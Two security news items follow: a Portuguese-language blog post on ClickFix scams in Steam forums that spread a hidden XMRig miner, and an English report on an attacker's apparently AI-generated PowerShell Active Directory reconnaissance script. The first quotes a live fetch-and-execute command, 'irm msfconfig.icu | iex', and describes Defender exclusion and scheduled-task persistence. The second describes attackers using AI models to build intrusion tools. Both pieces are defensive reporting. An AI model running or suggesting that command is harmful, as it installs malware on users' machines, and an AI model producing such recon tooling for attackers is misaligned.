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ClickFix nos fóruns da Steam: como comandos maliciosos do PowerShell instalam um minerador de criptomoedas

27 de Agosto de 2026, 09:00

Este ano, houve uma verdadeira explosão de ataques ClickFix. O golpe faz tanto sucesso entre os criminosos que mal terminamos de escrever sobre uma variante e já surge outra.

Desta vez, os invasores estão de olho nos gamers: jornalistas de tecnologia identificaram publicações com dicas maliciosas nos fóruns da Steam. Veja como são essas publicações, qual malware elas ajudam a disseminar e como manter seu dispositivo protegido.

ClickFix chega aos fóruns da Steam

Muitos gamers recorrem a outros jogadores nos fóruns da Steam em busca de ajuda e dicas para superar uma missão difícil, subir de nível, conseguir os melhores itens ou contornar um bug. É justamente essa confiança nas recomendações da comunidade que os invasores decidiram explorar.

O ataque começa quando criminosos respondem a uma pergunta sobre travamentos no jogo, itens ausentes no inventário ou outros problemas técnicos. Fingindo ser comentaristas prestativos, eles sugerem abrir o PowerShell como administrador e executar um comando que supostamente resolveria o problema do usuário.

Publicação de um agente malicioso em um fórum da Steam

Ao disfarçar a publicação como uma orientação para solucionar problemas, o agente malicioso sugere executar o PowerShell como administrador e, em seguida, um comando que supostamente resolveria o problema do usuário. Fonte

Como dá para imaginar, executar o comando não resolve nada e só cria um problema muito maior. Essa é justamente a lógica do ClickFix: usar engenharia social para induzir as vítimas a executar ações inseguras por conta própria, fornecendo aos golpistas os meios necessários para comprometer o dispositivo. Já abordamos outros truques do ClickFix, como CAPTCHAs falsos, erros de navegador forjados e outros, todos baseados em fazer a própria vítima executar o comando malicioso. Você pode saber mais sobre as diferentes variações de ataques ClickFix em uma postagem anterior.

A astúcia de usar o ClickFix nos fóruns da Steam é que o ataque pode atingir não apenas o jogador que pediu ajuda. Muitos outros gamers que tiverem o mesmo problema e encontrarem a resposta em uma busca no Google também podem cair no golpe.

Entenda rapidamente: o que realmente existe por trás do comando irm | iex

Antes de explicar o que os invasores realmente induzem os gamers a instalar dessa maneira, é importante apresentar um pouco do contexto técnico. Para começar, as publicações nos fóruns da Steam orientam as possíveis vítimas, sem que elas desconfiem, a executar o seguinte comando no PowerShell:

irm msfconfig.icu | iex

Para quem não conhece o PowerShell em detalhes, essa linha pode parecer bastante inofensiva, pois lembra a inicialização do MSConfig, o utilitário de configuração do sistema integrado ao Windows, com alguns parâmetros adicionais.

Na verdade, está longe de ser inofensiva. Veja o que cada parte desse comando realmente faz:

  1. irm é a forma abreviada do comando integrado Invoke-RestMethod do PowerShell. Acessa o endereço da Web indicado mais adiante na linha e recupera os dados retornados.
  2. icu é esse endereço da Web, e não o nome de um arquivo local, como pode parecer à primeira vista. Trata-se do servidor dos invasores, que responde à solicitação irm com um script malicioso do PowerShell.
  3. iex é outro comando integrado do PowerShell, Invoke-Expression. Ele recebe o conteúdo obtido por irm nesse endereço da Web e o executa como código do PowerShell.

Quando essa linha de código do PowerShell é executada, ela baixa um script do site especificado e o executa imediatamente. Como um usuário do Reddit observou corretamente, é possível descobrir com segurança qual código seria baixado para o dispositivo, sem correr o risco de executá-lo, simplesmente removendo a segunda parte, iex. Sem ela, o comando apenas baixa o conteúdo do script e o exibe na janela do PowerShell, sem executá-lo. Assim, é possível ver o código completo e sem ofuscação que estão pedindo para executar no dispositivo. Agora, vejamos o que esses supostos usuários prestativos dos fóruns da Steam realmente querem que os gamers instalem em suas máquinas.

Um minerador de criptomoedas, não uma ferramenta de otimização

Os invasores fizeram a lição de casa: o script do PowerShell baixado do servidor deles imita de forma convincente um utilitário de otimização do Windows. Após iniciado, ele exibe notificações informando que exclui arquivos temporários, limpa o cache DNS, atualiza drivers, verifica erros no disco e malware, desativa aplicativos desnecessários na inicialização, repara a imagem do Windows e verifica a integridade dos arquivos do sistema.

Falsa otimização do Windows em andamento

O script exibe uma sequência de mensagens sobre diversas tarefas falsas de otimização para dar a impressão de que está realizando uma manutenção útil. Fonte

Enquanto isso, a atividade real acontece nos bastidores. Primeiro, o script verifica se está sendo executado com privilégios de administrador. Em caso afirmativo, cria uma pasta de trabalho oculta em C:\Windows\Background e a adiciona à lista de exclusões do Microsoft Defender. A partir daí, os arquivos colocados nessa pasta deixam de ser verificados pelo antivírus integrado do Windows.

Em seguida, o script prepara o sistema para a próxima etapa do ataque e baixa um arquivo executável do servidor dos invasores, salvando-o na mesma pasta C:\Windows\Background com o nome system.exe, que parece legítimo.

O arquivo baixado é o XMRig, uma das ferramentas mais populares para mineração da criptomoeda Monero. O XMRig em si não é um malware, mas uma ferramenta de mineração legítima e de código aberto. O problema é que os invasores o instalam nos computadores das vítimas sem o conhecimento delas. Quando está em execução, o poder de processamento do dispositivo é sequestrado para minerar Monero, e o valor em criptomoedas vai diretamente para os criminosos.

Isso torna os PCs gamers modernos alvos especialmente atraentes: eles contam com CPUs e GPUs potentes, exatamente o tipo de hardware excelente para mineração de criptomoedas.

Para garantir que o malware continue ativo após uma reinicialização, o script também cria uma nova tarefa no Agendador de Tarefas do Windows: XMRig-{computer name}. A partir daí, o minerador de criptomoedas é iniciado automaticamente sempre que o sistema é ligado.

Como proteger seu dispositivo contra mineradores de criptomoedas e outros malwares

Infelizmente, muitos gamers relutam em instalar software de segurança ou mantê-lo em execução em seus dispositivos. O principal motivo é o mito persistente de que “um antivírus deixa o jogo mais lento”. Já abordamos pesquisas sobre isso em nosso blog, e os resultados mostraram que não há impacto significativo no desempenho ao usar um antivírus durante os jogos.

Já os mineradores de criptomoedas realmente prejudicam o desempenho e ainda aceleram o desgaste do hardware. Então, como manter seu PC gamer e suas contas longe de riscos?

  • Evite executar scripts no PowerShell, Terminal ou outros prompts de comando que pessoas desconhecidas recomendem copiar e executar, seja em fóruns, chats ou comentários.
  • Antes de pressionar Enter em qualquer comando que você não entenda por completo, pesquise o que ele faz e quais podem ser as consequências de executá-lo.
  • Use uma solução de segurança confiável com modo de jogo que detecte a tempo tentativas de download de malware e impeça sua execução.
  • Não desative a proteção enquanto joga. O ideal é usar uma solução com modo de jogo dedicado. Os produtos de segurança da Kaspersky ativam esse modo automaticamente assim que um jogo é iniciado, adiando atualizações dos bancos de dados de antivírus, notificações e verificações de disco programadas até você terminar de jogar.

Quer saber de que outras formas os invasores atacam gamers? Confira nossas outras postagens:

  • ✇Security Affairs
  • Attacker Used AI to Build Custom PowerShell Recon Malware Pierluigi Paganini
    Huntress found an AI-generated PowerShell script used for AD reconnaissance, showing attackers are using AI to create custom, evasive tools. During an incident response investigation on June 3, 2026, Huntress analyst Jevon Ang recovered a PowerShell script from a compromised Windows Server that the attacker had used to map out the victim’s Active Directory environment. The script hadn’t been downloaded from a public repository or pulled from a known offensive toolkit. It was custom-built, al
     

Attacker Used AI to Build Custom PowerShell Recon Malware

14 de Julho de 2026, 07:21

Huntress found an AI-generated PowerShell script used for AD reconnaissance, showing attackers are using AI to create custom, evasive tools.

During an incident response investigation on June 3, 2026, Huntress analyst Jevon Ang recovered a PowerShell script from a compromised Windows Server that the attacker had used to map out the victim’s Active Directory environment. The script hadn’t been downloaded from a public repository or pulled from a known offensive toolkit. It was custom-built, almost certainly by prompting an AI model until the output worked. Huntress researchers reconstructed the full script from PowerShell script block logging, specifically Event ID 4104 in the Microsoft-Windows-PowerShell/Operational log.

“The script, enthusiastically titled “100% Working AD Information Gathering Script – FULLY FIXED”, is a highly aggressive, noisy, custom-built AD enumeration tool. It doesn’t try to hide its functions, and has a number of distinct and interesting phases.” reads the report published by Huntress.

The attack itself wasn’t particularly novel. The threat actor gained RDP access using pre-compromised credentials, staged tools in C:\ProgramData, ran the custom recon script within minutes of establishing the session, then roughly thirty minutes later deployed s5cmd.exe, a legitimate Amazon S3 command-line tool that Huntress has seen repeatedly abused for data theft. A second pass with SharpShares.exe followed, hunting for additional data repositories.

“One thing to emphasize here is that AI isn’t changing the game by any means during this incident. The underlying attack chain still resembles the tried-and-tested smash-and-grab playbook we’ve seen for years.” continues the report.”This core methodology has remained consistent, but it is now being selectively augmented by AI. This hybrid approach prioritises aggression and speed over stealth, allowing threat actors to execute highly damaging campaigns faster than ever.”

The PowerShell file was named Untitled1.ps1, which is what you get when someone copies code out of an AI chat window and saves it without renaming it. The script’s internal title is “100% Working AD Information Gathering Script – FULLY FIXED,” which is a textbook artifact of someone iterating with an AI, hitting errors, pasting those errors back into the chat, and eventually copying out whatever the model produced when it stopped failing. The title isn’t something a human writing their own tool would choose. It’s the label an AI puts on the version that finally passed testing.

The script opens by identifying the domain controller through five separate methods in sequence: DNS lookup, nltest, the Active Directory PowerShell module, environment variables, and finally a hardcoded fallback. A human writing a recon script picks one or two reliable methods. An AI told “make sure it doesn’t fail to find the DC” will exhaustively generate every approach in its training data.

“The five distinct methods to find a Domain Controller scream “AI generation”. A human writing this script would typically pick the best one or two methods. An LLM, when told “make sure it doesn’t fail to find the DC,” will exhaustively generate every method in its training data.” states Huntress.

The most damning single detail is a hardcoded fallback value in that DC discovery block: $dc = "Server1.HR.local". That’s a literal placeholder the AI included as an example, and the attacker copied the script without editing it. The variable would only matter if all four preceding discovery methods failed simultaneously, so it likely never fired, but it was still there, unchanged, in the deployed payload.

Once it located the domain controller, the script ran a structured dump of Active Directory users, computers, groups, organizational units, subnets, domain trusts, DNS subnet records, and a filtered list of users with email addresses. Everything landed in a timestamped directory under C:\AD_Reports_, saved as CSV files.

The script then generated a formatted HTML summary report of the collection, which Huntress notes is almost certainly an unsolicited addition from the AI rather than something the attacker specifically asked for.

“The final phase of the script is surprisingly focused on presentation. Instead of simply zipping the CSV files and exiting, it writes an entire HTML file to summarise the data theft.” states the report. “Why does a threat actor need a beautiful HTML report, you ask? We thought the same. It’s likely a “helpful” inject from the LLM that the attacker simply went along with, rather than being intentionally authored into the script.”

After creating the report, the script zipped everything into a single archive. A threat actor who wanted to understand why their recon output looked the way it did could open a nicely formatted HTML file and find out. Nice touch.

The practical challenge for defenders is that Untitled1.ps1 has never existed before and won’t exist again in the same form. Traditional endpoint detection and antivirus tools rely heavily on file hashes and static string signatures. A known tool like SharpHound gets caught immediately because the binary is recognized. A script generated fresh by an AI for a specific incident has no hash to match against.

“Vibe coding lowers the barrier to entry for cybercrime, allowing unsophisticated actors to generate highly capable, evasive tooling on the fly. While the code itself may be messy, over-engineered, and filled with AI hallmarks like left-behind comments, the threat it poses is very real.” continues the report. “To combat this, defenders must abandon rigid, signature-based thinking and embrace behavioral analytics to catch the underlying actions that no LLM can hide.”

The answer isn’t to try to detect AI-generated code, which isn’t reliably distinguishable from human-written code at the binary level. The answer is to focus on what the code does at runtime rather than what it looks like on disk. Active Directory enumeration using Get-ADUser -Filter * against a domain controller, followed by bulk CSV exports, followed by ZIP archive creation in a staging directory, is the same sequence regardless of whether a human or an AI wrote the script that performs it. The behaviors are detectable. Huntress’s SIEM caught the activity through behavioral telemetry rather than file signatures. The attacker had a custom, never-before-seen script. The defenders still saw it.

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Pierluigi Paganini

(SecurityAffairs – hacking, AI)

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